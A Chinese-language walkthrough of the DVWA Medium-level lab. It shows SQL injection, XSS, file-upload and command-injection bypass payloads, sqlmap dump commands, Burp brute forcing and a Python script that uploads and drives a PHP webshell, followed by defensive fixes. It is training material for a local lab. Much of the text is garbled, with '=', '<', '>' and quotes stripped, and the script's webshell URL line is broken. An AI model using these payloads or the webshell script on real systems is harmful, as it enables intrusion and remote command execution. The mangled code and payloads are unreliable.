
1. 项目概述为什么DVWA中级靶场是攻防能力的分水岭如果你已经玩转了DVWA的Low级别把那些基础的SQL注入、XSS弹窗都跑了一遍感觉好像“也就那么回事”那么是时候进入中级Medium难度了。这个阶段才是真正区分“脚本小子”和“理解者”的开始。DVWA中级靶场实战远不止是把安全级别从Low调到Medium那么简单它模拟的是真实世界中那些开发人员已经具备了一定安全意识但防御措施仍不完善或存在逻辑缺陷的场景。这里的核心价值在于“原理”与“绕过”。靶场在Medium级别引入了基础的过滤和防护机制比如mysql_real_escape_string()函数、简单的字符串替换、有限的文件类型检查等。你的任务不再是简单地输入‘ or 11 --而是要去理解这些防护是如何工作的它们的弱点在哪里并设计出能够绕过这些防护的Payload。这个过程正是从“知道漏洞存在”到“理解漏洞成因并能创造性利用”的关键跃迁。更进一步当我们谈论“自动化利用”时它考验的是你将这种理解转化为可重复、可批量执行的攻击脚本的能力这是渗透测试和红队实战中的核心技能。因此本次实战演练的目标非常明确第一深度剖析DVWA中级难度下各个漏洞模块如SQL注入、XSS、文件上传等的防护原理与代码实现第二手动构造并验证有效的绕过Payload理解其生效的每一个字符的原因第三基于成熟的工具如Sqlmap、Burp Suite Intruder或自编写Python脚本将手动验证的过程自动化完成从漏洞发现到利用的完整链条。这不仅仅是一次靶场练习更是一次面向真实攻防的思维与技能训练。2. 环境准备与靶场配置要点工欲善其事必先利其器。一个稳定、隔离的测试环境是安全研究的基石。虽然网上有很多一键安装包但为了彻底理解环境我建议手动搭建。2.1 手动搭建可控的DVWA环境我强烈反对在生产环境或任何有真实数据的机器上搭建靶场。最稳妥的方式是使用虚拟机。你可以选择VirtualBox配合Vagrant快速构建一个纯净的Linux测试机或者直接使用Docker这是目前最主流也最干净的方式。使用Docker搭建DVWA的命令非常简单docker pull vulnerables/web-dvwa docker run --rm -it -p 80:80 vulnerables/web-dvwa执行后访问本机的http://127.0.0.1或http://localhost即可。但这里有个关键细节默认的Docker镜像可能已经预设了某些配置。为了完全模拟“中级”环境我们需要进入容器内部确认config/config.inc.php文件中的安全级别设置。更“硬核”一点的做法是从GitHub克隆DVWA源码在本地配置一个完整的LAMP/LEMP环境。这个过程能让你熟悉PHP应用的基本部署理解文件权限/hackable/uploads目录需要写权限、数据库初始化运行setup.php等一系列操作。遇到最多的问题就是“数据库连接失败”这通常是因为config.inc.php里的数据库密码默认为pssw0rd与你的MySQL实例不匹配或者MySQL服务没有正确安装PHP的mysqli扩展。注意永远不要使用默认的admin/password凭证登录生产或任何重要系统。在靶场中首次登录后应立即修改密码并养成这个习惯。2.2 中级难度核心配置解析DVWA的安全级别通过$_DVWA[ security ]这个变量控制在Medium级别下它的值为‘medium’。这个变量会影响所有漏洞页面的服务端逻辑。与Low级别直接使用用户输入不同Medium级别的代码会尝试对输入进行清洗或转义。例如查看vulnerabilities/sqli/source/medium.php你会发现它使用了mysql_real_escape_string()来处理输入。这个函数会给特殊字符如单引号‘、双引号“、反斜杠\等前面加上反斜杠进行转义旨在破坏SQL注入语句的结构。我们的绕过思路就需要围绕如何让这些转义失效或者寻找不需要这些特殊字符的注入方式。因此在开始实战前请务必确保在DVWA首页点击“Create / Reset Database”按钮初始化数据库。登录后在“DVWA Security”页面将安全级别设置为“Medium”。打开浏览器的开发者工具F12并切换到“网络(Network)”选项卡准备捕获和分析请求。3. 核心漏洞原理与手动绕过实战中级靶场的魅力在于“斗智斗勇”。下面我们逐一拆解几个核心漏洞模块看看防护是如何实现的而我们又该如何见招拆招。3.1 SQL注入当转义函数遇上数字型注入在SQL Injection (Medium)页面我们发现输入框变成了一个下拉菜单只能选择用户ID。查看源码medium.php关键代码如下$id $_GET[‘id’]; $id mysql_real_escape_string( $id ); $getid “SELECT first_name, last_name FROM users WHERE user_id $id;”;首先它用mysql_real_escape_string()处理了$id。如果是字符型注入比如WHERE user_id ‘$id’那么输入1‘ or ’1‘’1会被转义为1\‘ or \’1\‘\’1从而失效。但这里注意查询语句是WHERE user_id $id变量$id没有被单引号包裹这是一个典型的数字型注入漏洞。防护逻辑的缺陷在于开发者错误地认为所有输入都需要用mysql_real_escape_string()处理却忽略了查询语句本身的上下文。对于数字型字段正确的防护应该是使用intval()函数将输入强制转换为整数。手动绕过实战由于是下拉菜单我们无法直接输入。需要利用Burp Suite拦截修改请求。正常选择一个ID如1并提交用Burp Proxy拦截这个GET请求。将请求中的参数id1修改为id1 or 11。转发请求你会发现页面返回了数据库中所有用户的信息因为1 or 11这个条件永远为真。原理分析mysql_real_escape_string()只转义字符串中的特殊字符对于数字1、空格、or、这些构成SQL语句的“单词”和“运算符”它不会处理。因此构造的Payload被原样拼接进了SQL语句形成了SELECT ... WHERE user_id 1 or 11注入成功。3.2 反射型XSS绕过简单的str_replace过滤转到Reflected Cross Site Scripting (Medium)页面。在Low级别我们直接输入scriptalert(‘XSS’)/script就能弹窗。中级别的源码如下$name str_replace( ‘script’, ‘’, $_GET[ ‘name’ ] );它使用str_replace()函数试图将script标签替换为空字符串。这是一种非常原始且容易绕过的黑名单过滤方式。手动绕过实战绕过思路的核心是str_replace()是大小写敏感的并且只执行一次替换。大小写绕过输入ScRiPtalert(‘XSS’)/ScRiPt。因为源码中查找的是全小写的script所以这个Payload不会被过滤。双写绕过输入scrscriptiptalert(‘XSS’)/script。当代码执行str_replace(‘script’, ‘’, $input)时它会将中间的script删除剩下的字符正好组合成新的script标签从而执行。使用其他标签XSS不一定非要script标签。尝试img src1 onerroralert(‘XSS’)或body onloadalert(‘XSS’)。这些标签和事件处理器同样可以执行JavaScript且没有被过滤。在输入框尝试img src“x” onerror“alert(‘XSS-MEDIUM’)”提交后成功弹窗。这说明防护只考虑了script标签防御范围极其有限。3.3 文件上传绕过客户端MIME类型检查File Upload (Medium)的难度提升在于它不仅仅检查文件扩展名还开始检查HTTP请求头中的Content-TypeMIME类型。查看源码if ( ( $uploaded_type “image/jpeg” || $uploaded_type “image/png” ) ( $uploaded_size 100000 ) ) { // 通过检查 }这里$uploaded_type取自$_FILES[‘uploaded’][‘type’]而这个值是由浏览器在上传时自动生成的可以被轻易篡改。手动绕过实战准备一个简单的PHP Webshell文件内容为?php phpinfo(); ?将其命名为shell.php。直接上传会被拦截因为扩展名.php不在白名单.jpg,.jpeg,.png内且MIME类型不对。打开Burp Suite先尝试上传一个正常的图片文件如test.jpg拦截这个POST请求。在Burp的Proxy - Intercept标签页中你会看到请求体。找到Content-Disposition部分将文件名filename“test.jpg”修改为filename“shell.php”。同时找到Content-Type头部将其值从image/jpeg修改为image/jpeg保持不变或image/png。注意这里只改了文件名和请求头文件的实际内容我们的PHP代码并没有变。转发请求。你会发现上传成功了因为服务端只检查了Content-Type头我们伪造了和文件大小没有对文件内容进行二次验证如getimagesize()函数。这个漏洞揭示了“信任客户端提交的数据”是极度危险的。真正的安全防护应该在服务端进行文件内容的检测。3.4 命令注入应对stripslashes与数组绕过Command Injection (Medium)的源码展示了另一种不完整的防护$target $_REQUEST[ ‘ip’ ]; $target stripslashes( $target ); if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) { $cmd shell_exec( ‘ping ‘ . $target ); }stripslashes()函数会去除由addslashes()或魔法引号magic_quotes_gpc添加的反斜杠。在Low级别我们可以输入127.0.0.1 whoami来执行额外命令。中级别下如果系统开启了魔法引号我们的会被转义为\stripslashes()会去掉这个反斜杠似乎防护被解除了但现代PHP环境默认已关闭魔法引号所以这个防护可能形同虚设。更有趣的绕过在下面$substitutions array( ‘’ ‘’, ‘;’ ‘’, ); $target str_replace( array_keys( $substitutions ), $substitutions, $target );它试图删除和;这两个常用的命令连接符。但黑名单永远是不完备的。手动绕过实战使用黑名单只过滤了没有过滤单个的。在Linux/Unix中表示将命令放入后台执行。输入127.0.0.1 whoamiwhoami命令依然会被执行。使用|管道或||或输入127.0.0.1 | whoami前一个命令的输出会作为后一个命令的输入。或者127.0.0.1 || whoami如果ping失败返回非0则执行whoami。使用换行符\n在Burp中拦截请求将参数修改为ip127.0.0.1%0awhoami%0a是URL编码的换行符。在Shell中换行符同样可以分隔命令。使用反引号或$()执行子命令输入127.0.0.1 echo $(whoami)。$(whoami)会先执行将其结果当前用户名传递给echo命令。这个案例告诉我们基于黑名单的过滤尤其是只过滤少数几个字符几乎无法有效防御命令注入。最根本的解决方法是使用白名单只允许数字和点或者彻底避免将用户输入拼接进系统命令改用escapeshellarg()等函数。4. 从手动到自动工具辅助的漏洞利用手动绕过证明了漏洞的存在和可利用性。但在实战中我们需要效率。自动化工具能帮助我们快速识别漏洞、利用漏洞甚至获取整个数据库。4.1 使用Sqlmap自动化进行SQL注入利用以我们刚才发现的数字型SQL注入点为例。手动用Burp拦截请求将含有id1的请求右键保存到一个文件比如req.txt。接下来使用Sqlmapsqlmap -r req.txt --batch --dbs-r req.txt: 从文件加载HTTP请求这样会自动处理Cookie、URL等所有参数无需手动指定注入点。--batch: 以非交互模式运行所有选择都按默认来适合自动化。--dbs: 枚举数据库。运行后Sqlmap会识别出注入点并列出所有数据库名。之后你可以进一步指定数据库进行表名、列名和数据枚举sqlmap -r req.txt -D dvwa --tables sqlmap -r req.txt -D dvwa -T users --columns sqlmap -r req.txt -D dvwa -T users -C user,password --dump--dump会尝试破解哈希密码DVWA中使用的是MD5哈希。Sqlmap的强大之处在于它内置了大量绕过技术Tamper脚本可以自动尝试不同编码、注释方式等来绕过WAF或简单的过滤。对于中级靶场它通常能直接成功。实操心得使用-r参数是最方便的方式尤其是在处理有Cookie认证的请求时。务必确保保存的请求文件是最新、有效的会话。4.2 使用Burp Suite Intruder进行模糊测试与暴力破解Burp Intruder是自动化攻击的瑞士军刀尤其适合测试输入点、进行暴力破解或模糊测试。以绕过XSS过滤为例我们可以系统性地测试各种Payload。在Reflected XSS (Medium)页面输入一个测试词test并提交。在Burp Proxy的历史记录中找到这个请求右键发送到Intruder。在Intruder的Positions标签页清除所有自动标记然后手动将name参数的值test选中点击“Add §”将其标记为攻击点。转到Payloads标签页。我们可以加载预定义的XSS Payload列表Burp Pro版自带社区版需自己准备一个txt文件。将文件加载到“Payload Options”。点击“Start attack”。Intruder会使用列表中的每一个Payload如scriptalert(1)/script、img srcx onerroralert(1)等替换test并发送请求。观察攻击结果。通过响应长度或是否包含特定关键词如“alert”我们可以快速筛选出哪些Payload成功执行了JS从而找到了有效的绕过方式。同样的方法可以用于暴力破解Brute Force (Medium)的登录框。使用Intruder的“Cluster bomb”攻击类型设置用户名和密码两个攻击点加载常见的弱口令字典即可自动化进行登录尝试。4.3 编写Python脚本实现定制化自动化当现成工具不够灵活或需要集成特定逻辑时就需要自己写脚本。以自动化利用“文件上传MIME类型绕过”为例。import requests import sys # 配置 TARGET_URL “http://127.0.0.1/vulnerabilities/upload/” LOGIN_URL “http://127.0.0.1/login.php” PHPSESSID “你的会话Cookie” SECURITY “Medium” # 创建一个会话对象以保持Cookie session requests.Session() session.headers.update({‘Cookie’: f’PHPSESSID{PHPSESSID}; security{SECURITY}’}) # 1. 准备恶意文件 file_content b‘?php echo shell_exec($_GET[“cmd”]); ?’ files {‘uploaded’: (‘shell.jpg’, file_content, ‘image/jpeg’)} # 关键伪造文件名和MIME类型 # 2. 构造上传数据 data {‘Upload’: ‘Upload’} try: response session.post(TARGET_URL, filesfiles, datadata) response.raise_for_status() except requests.exceptions.RequestException as e: print(f“[!] 上传请求失败: {e}”) sys.exit(1) # 3. 解析响应提取上传路径这里需要根据实际页面HTML调整解析逻辑 if ‘successfully uploaded’ in response.text: # 假设成功信息中包含路径这里简化处理实际需用正则或HTML解析器提取 # 例如页面返回 ‘preSuccessfully uploaded!/prepre/hackable/uploads/shell.jpg/pre’ import re match re.search(r‘/hackable/uploads/([^“\’]\.(jpg|jpeg|png))’, response.text) if match: uploaded_file match.group(0) print(f“[] 文件上传成功路径: {uploaded_file}”) # 4. 尝试访问上传的Webshell webshell_url f“http://127.0.0.1{hackable/uploads/shell.jpg}” cmd_test session.get(f“{webshell_url}?cmdwhoami”) if cmd_test.status_code 200: print(f“[] Webshell 激活成功命令执行结果: {cmd_test.text.strip()}”) else: print(“[-] Webshell 访问或执行失败。”) else: print(“[-] 无法从响应中解析出文件路径。”) else: print(“[-] 文件上传失败。检查防护规则或会话有效性。”)这个脚本模拟了手动操作的全过程维持登录会话、伪造MIME类型上传、解析服务器返回的上传路径、最后访问Webshell执行命令。通过编写这样的脚本你可以将复杂的、多步骤的利用过程固化下来实现一键化攻击。5. 攻防对抗思维提升与防御建议通过中级靶场的实战我们不仅学会了绕过技巧更应该站在防守者的角度思考如何构建更坚固的防线。5.1 中级防护措施的局限性总结DVWA中级靶场模拟的防护措施在真实环境中非常典型但也漏洞百出SQL注入错误地在数字型输入上使用字符串转义函数。防御应使用参数化查询Prepared Statements或至少对输入进行严格的类型转换如intval()。XSS使用单一、大小写敏感的黑名单过滤。防御应使用白名单过滤或采用严格的输出编码如HTML实体编码htmlspecialchars()。文件上传仅信任客户端提交的MIME类型。防御必须在服务端进行文件头/魔数检测并确保文件扩展名与内容匹配最好将上传的文件存储在Web根目录之外通过脚本代理访问。命令注入不完整的黑名单过滤。防御应绝对避免将用户输入拼接进命令行如需必要使用白名单或escapeshellarg()/escapeshellcmd()函数。5.2 从攻击者视角到防御者视角真正的安全专家必须具备双向思维。在完成攻击后请务必打开source/medium.php文件仔细阅读每一行防护代码思考这段代码想防御什么它为什么失败了是逻辑错误、过滤不全还是存在旁路如果让我来修复我会怎么写例如对于文件上传一个更安全的代码框架应该是$allowed_types array(‘image/jpeg’ ‘jpg’, ‘image/png’ ‘png’); $allowed_extensions array(‘jpg’, ‘jpeg’, ‘png’); $max_size 100000; // 1. 检查文件大小 if ($_FILES[‘uploaded’][‘size’] $max_size) { die(‘File too large.’); } // 2. 检查文件扩展名从原始文件名获取 $file_name $_FILES[‘uploaded’][‘name’]; $file_ext strtolower(pathinfo($file_name, PATHINFO_EXTENSION)); if (!in_array($file_ext, $allowed_extensions)) { die(‘Invalid file extension.’); } // 3. 服务端MIME类型检测使用finfo $finfo finfo_open(FILEINFO_MIME_TYPE); $detected_type finfo_file($finfo, $_FILES[‘uploaded’][‘tmp_name’]); finfo_close($finfo); if (!array_key_exists($detected_type, $allowed_types)) { die(‘Invalid file type.’); } // 4. 验证扩展名与检测到的类型是否匹配 if ($allowed_types[$detected_type] ! $file_ext) { die(‘File extension mismatch.’); } // 5. 生成随机文件名防止覆盖和路径遍历 $new_file_name md5(uniqid()) . ‘.’ . $file_ext; $upload_path ‘/var/www/uploads/’ . $new_file_name; // 存储在Web目录外 // 6. 移动文件 if (move_uploaded_file($_FILES[‘uploaded’][‘tmp_name’], $upload_path)) { echo ‘File uploaded successfully. Access via: /download.php?file’ . $new_file_name; } else { die(‘Upload failed.’); }这个流程包含了大小写校验、扩展名白名单、服务端MIME检测、一致性校验、随机化命名和隔离存储构成了一个深度防御的体系。6. 常见问题与深度排错指南在实战中你肯定会遇到各种“坑”。这里记录了一些典型问题及其解决方案。问题1Sqlmap跑不出来注入点或者报告“所有测试参数均未检测到注入”。可能原因1Cookie或会话失效。Sqlmap使用-r参数时会读取文件中的Cookie。确保你保存的请求文件是最新的、登录有效的会话。可以尝试添加--cookie“PHPSESSIDxxx; securitymedium”手动指定。可能原因2注入点需要特定的预处理。DVWA中级SQL注入是数字型但Sqlmap默认会测试很多字符串型Payload。可以尝试指定注入技术--techniqueB布尔盲注或--techniqueU联合查询。有时添加--level2提高测试等级和--risk2提高风险等级也能发现更多注入点。可能原因3WAF/IPS干扰。虽然本地靶场一般没有但可以尝试使用--tamper参数加载混淆脚本如--tamperspace2comment将空格替换为注释。问题2上传的Webshell可以访问但执行命令没有回显。可能原因1shell_exec()等函数被禁用。查看PHP配置文件php.ini中的disable_functions选项。可以尝试使用其他函数如system()、passthru()、exec()或将Payload改为?php echo “Test”; ?先测试PHP解析是否正常。可能原因2命令执行了但输出被拦截。尝试将输出写入文件?php system(‘whoami /tmp/out.txt’); ?然后去查看/tmp/out.txt文件。可能原因3Windows与Linux命令差异。如果你的靶场环境是Windows要用whoami如果是Linux同样命令也有效。但路径分隔符等有区别注意调整。问题3Burp Intruder攻击速度慢或者大量请求失败。可能原因1线程数设置过高靶场承受不住。在Intruder的“Resource Pool”中降低线程数如从10降到5。可能原因2请求失败如500错误。检查Payload是否包含特殊字符破坏了请求结构。对于POST请求确保在Intruder的“Payloads”标签页中正确设置了“Payload Encoding”选项必要时取消URL编码进行调试。优化技巧使用“Pitchfork”或“Cluster bomb”攻击类型时组合爆炸会导致请求量巨大。先使用小字典测试或利用“Grep - Match”功能快速筛选包含成功特征的响应如登录成功的“Welcome”字样减少无效请求的分析时间。问题4手动构造的Payload在浏览器中测试成功但放到Python脚本里失败。可能原因1编码问题。确保脚本中字符串的编码与浏览器发送的一致。特别是空格、引号、、#等特殊字符在URL中需要正确编码。使用requests库时data参数中的字典会自动进行URL编码但如果你手动拼接URL需要使用urllib.parse.quote()。可能原因2请求头缺失。浏览器会自动携带Content-Type、Origin、Referer等头。用Burp拦截一个成功的请求对比你的脚本缺少了哪些头使用session.headers.update()将其补全。可能原因3会话Session未保持。必须使用requests.Session()对象来发起一系列请求它会自动处理Cookies。确保登录请求和后续攻击请求使用的是同一个Session对象。攻克这些问题的过程本身就是对HTTP协议、Web应用交互、服务器环境理解加深的过程。每一次排错都是向“实战高手”迈进的一步。记住在中级靶场遇到的绝大多数“异常”在真实的渗透测试中都会以更复杂的形式出现这里的经验无比宝贵。